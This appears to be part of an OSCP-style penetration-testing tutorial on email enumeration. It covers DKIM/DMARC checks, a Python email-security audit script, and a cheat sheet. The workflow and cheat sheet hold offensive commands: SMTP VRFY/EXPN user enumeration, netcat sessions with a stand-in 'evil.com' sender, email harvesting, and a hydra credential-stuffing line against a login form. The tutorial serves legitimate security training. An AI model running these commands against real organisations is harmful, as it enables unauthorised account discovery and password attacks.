DKIM (DomainKeys Identified Mail)
DKIM adds a cryptographic signature to emails.
# Check DKIM record
dig TXT selector._domainkey.target.com +noall +answer
# Common selectors
dig TXT default._domainkey.target.com +noall +answer
dig TXT google._domainkey.target.com +noall +answer
dig TXT s1._domainkey.target.com +noall +answer
dig TXT s2._domainkey.target.com +noall +answer
DMARC (Domain-based Message Authentication, Reporting, and Conformance)
DMARC specifies how to handle emails that fail SPF and DKIM checks.
# Check DMARC record
dig TXT _dmarc.target.com +noall +answer
# Interpret DMARC record
# v=DMARC1: DMARC version
# p: Policy (none, quarantine, reject)
# sp: Subdomain policy
# pct: Percentage of messages to apply policy
# rua: Aggregate report URI
# ruf: Forensic report URI
# adkim: DKIM alignment (r=relaxed, s=strict)
# aspf: SPF alignment (r=relaxed, s=strict)
DMARC Record Examples
# Strict DMARC (recommended)
v=DMARC1; p=reject; pct=100; rua=mailto:dmarc@target.com; ruf=mailto:forensics@target.com; adkim=s; aspf=s
# Moderate DMARC
v=DMARC1; p=quarantine; pct=100; rua=mailto:dmarc@target.com
# Monitoring only (weak)
v=DMARC1; p=none; rua=mailto:dmarc@target.com
# No DMARC (weakest)
# No record exists
Email Security Assessment
| Record |
Status |
Security Level |
Notes |
| SPF |
Present with -all |
High |
Strict policy |
| SPF |
Present with ~all |
Medium |
Soft fail |
| SPF |
Present with +all |
Low |
Permissive |
| SPF |
Missing |
Critical |
No SPF protection |
| DKIM |
Present |
High |
Cryptographic signing |
| DKIM |
Missing |
Medium |
No signing |
| DMARC |
p=reject |
High |
Strict enforcement |
| DMARC |
p=quarantine |
Medium |
Moderate enforcement |
| DMARC |
p=none |
Low |
Monitoring only |
| DMARC |
Missing |
Critical |
No DMARC protection |
Email Security Reconnaissance Script
#!/usr/bin/env python3
"""
Check email security records for a domain.
"""
import dns.resolver
def check_email_security(domain):
"""Check SPF, DKIM, and DMARC records."""
results = {
'domain': domain,
'spf': {},
'dkim': {},
'dmarc': {}
}
# Check SPF
try:
answers = dns.resolver.resolve(domain, 'TXT')
for rdata in answers:
txt = str(rdata).strip('"')
if txt.startswith('v=spf1'):
results['spf']['record'] = txt
if '-all' in txt:
results['spf']['policy'] = 'strict'
elif '~all' in txt:
results['spf']['policy'] = 'softfail'
elif '+all' in txt:
results['spf']['policy'] = 'permissive'
else:
results['spf']['policy'] = 'neutral'
break
except Exception:
results['spf']['record'] = 'Not found'
results['spf']['policy'] = 'missing'
# Check DMARC
try:
answers = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT')
for rdata in answers:
txt = str(rdata).strip('"')
if txt.startswith('v=DMARC1'):
results['dmarc']['record'] = txt
if 'p=reject' in txt:
results['dmarc']['policy'] = 'reject'
elif 'p=quarantine' in txt:
results['dmarc']['policy'] = 'quarantine'
elif 'p=none' in txt:
results['dmarc']['policy'] = 'none'
break
except Exception:
results['dmarc']['record'] = 'Not found'
results['dmarc']['policy'] = 'missing'
# Check DKIM (common selectors)
selectors = ['default', 'google', 's1', 's2', 'k1']
dkim_found = False
for selector in selectors:
try:
answers = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'TXT')
for rdata in answers:
if 'k=rsa' in str(rdata):
results['dkim'][selector] = 'found'
dkim_found = True
break
except Exception:
continue
if not dkim_found:
results['dkim'] = 'Not found'
return results
# Example usage
if __name__ == "__main__":
import json
results = check_email_security("target.com")
print(json.dumps(results, indent=2))
10. Email Enumeration in OSCP Context
OSCP Relevance Assessment
| Technique |
OSCP Relevance |
Notes |
| Google Dorking |
High |
Quick and effective |
| theHarvester |
High |
Multi-source collection |
| SMTP Enumeration |
Medium |
May be available in labs |
| Email Pattern Discovery |
High |
Helps with web apps |
| Credential Attacks |
High |
Direct exploitation path |
| MX Record Analysis |
Medium |
Infrastructure mapping |
| SPF/DKIM/DMARC |
Low |
More defensive focus |
OSCP Email Enumeration Workflow
graph TD
A[Target Domain] --> B[Google Dorking]
A --> C[theHarvester]
B --> D[Collect Emails]
C --> D
D --> E[Detect Email Pattern]
E --> F[Generate More Emails]
F --> G[SMTP Enumeration]
G --> H[Valid Emails]
F --> I[Web App Testing]
H --> I
I --> J[Credential Attacks]
I --> K[Password Reset Abuse]
Practical OSCP Commands
# Step 1: Quick email harvest
theHarvester -d target.local -b google,bing -l 200
# Step 2: Google Dorking
# site:target.local intext:"@"
# site:target.local filetype:pdf intext:"@"
# Step 3: SMTP enumeration
nmap -p 25 --script smtp-enum-users --script-args userdb=/tmp/usernames.txt target.local
# Step 4: Manual SMTP check
nc -nv target.local 25
EHLO target.local
VRFY admin
EXPN staff
MAIL FROM: <test@evil.com>
RCPT TO: <admin@target.local>
# Step 5: Check web apps for email exposure
gobuster dir -u http://target.local -w /usr/share/wordlists/dirb/common.txt | grep -i "contact\|mail\|email\|form"
# Step 6: Test password reset
# Visit http://target.local/login
# Click "Forgot Password"
# Test with discovered emails
OSCP Email Enumeration Tips
- Start with Google Dorking — It’s fast, free, and undetectable
- Use theHarvester early — Multi-source collection saves time
- Check SMTP services — Many lab machines have vulnerable SMTP
- Look for web forms — Contact forms and login pages may reveal emails
- Check email headers — If you receive emails from the target
- Use discovered emails for web apps — Try them in login forms
- Test password reset flows — Many apps have vulnerable reset mechanisms
- Document all findings — Record emails and patterns for your report
Time Allocation for OSCP
| Activity |
Recommended Time |
Priority |
| Google Dorking |
5-10 minutes |
High |
| theHarvester |
5-10 minutes |
High |
| SMTP Enumeration |
10-15 minutes |
Medium |
| Email Pattern Analysis |
5-10 minutes |
Medium |
| Web App Testing |
15-30 minutes |
High |
| Total |
40-75 minutes |
— |
Quick Reference Cheat Sheet
Essential Commands
# Email Harvesting
theHarvester -d target.com -b all -l 500
theHarvester -d target.com -b google,bing,linkedin,github
# Google Dorking
site:target.com intext:"@"
site:target.com filetype:pdf intext:"@"
# SMTP Enumeration
nmap -p 25 --script smtp-enum-users --script-args userdb=/tmp/usernames.txt target.com
nmap -p 25 --script smtp-vrfy --script-args userdb=/tmp/usernames.txt target.com
nmap -p 25 --script smtp-expn --script-args userdb=/tmp/usernames.txt target.com
# Manual SMTP
nc -nv target.com 25
EHLO target.com
VRFY admin
EXPN staff
MAIL FROM: <attacker@evil.com>
RCPT TO: <admin@target.com>
# MX Records
dig MX target.com
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
# Email Validation
curl -s "https://api.hunter.io/v2/email-verifier?email=test@target.com&api_key=KEY"
# Credential Stuffing
hydra -L emails.txt -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=invalid"
Useful One-Liners
# Extract emails from a webpage
curl -s https://target.com | grep -oE "[a-zA-Z0-9._%+-]+@target\.com" | sort -u
# Extract emails from PDF
pdftotext document.pdf - | grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | sort -u
# Check SPF record
dig TXT target.com +noall +answer | grep "v=spf1"
# Check DMARC record
dig TXT _dmarc.target.com +noall +answer
# Quick SMTP banner grab
echo "EHLO target.com" | nc -w 5 target.com 25
# Generate email permutations
for first in john jane bob; do for last in smith doe johnson; do echo "${first}.${last}@target.com"; done; done
Summary
Email enumeration is a powerful reconnaissance technique that provides direct access to valid user accounts. Key takeaways:
- Google Dorking is the fastest and most undetectable method for email discovery
- theHarvester provides multi-source email collection in a single command
- SMTP enumeration (VRFY, EXPN, RCPT TO) can directly validate user existence
- Email pattern discovery helps generate additional valid addresses
- Email-to-username correlation strengthens intelligence across platforms
- Credential attacks using discovered emails are a direct exploitation path
- Email header analysis reveals infrastructure and software details
- MX record analysis maps the target’s email infrastructure
- SPF/DKIM/DMARC assessment reveals email security posture
- In OSCP, focus on Google Dorking, theHarvester, and SMTP enumeration as primary techniques
Master these techniques to build comprehensive email intelligence that feeds directly into your attack strategy.